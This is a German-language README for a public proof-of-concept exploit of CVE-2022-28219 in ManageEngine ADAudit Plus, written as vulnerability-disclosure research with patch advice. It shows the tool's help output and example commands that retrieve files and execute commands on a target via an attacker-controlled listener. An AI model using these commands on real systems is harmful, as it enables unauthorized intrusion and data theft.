horizon3ai/cve-2022-28219PoC für ManageEngine ADAudit Plus CVE-2022-28219
PoC für CVE-2022-28219, das ManageEngine ADAudit Plus-Builds < 7060 betrifft
Weitere Details in unserem Blog: https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
Zum Beispiel, um die Datei c:\windows\win.ini zu holen:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
Oder um calc.exe auf dem Ziel auszuführen:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
Beachten Sie, dass der Dateiabruf und RCE erfordern, dass ManageEngine ADAudit Plus auf Java Runtime 8u121 oder niedriger läuft. Dies wird meistens der Fall sein, da die standardmäßig mit ADAudit Plus gebündelte Java-Runtime-Version 8u051 ist.
Aktualisieren Sie auf ManageEngine ADAudit Plus Build 7060 oder höher.
Diese Software wurde ausschließlich für akademische Forschungszwecke und zur Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu gedacht, Systeme anzugreifen, außer wenn dies ausdrücklich genehmigt wurde. Die Projektbetreuer sind nicht verantwortlich oder haftbar für den Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.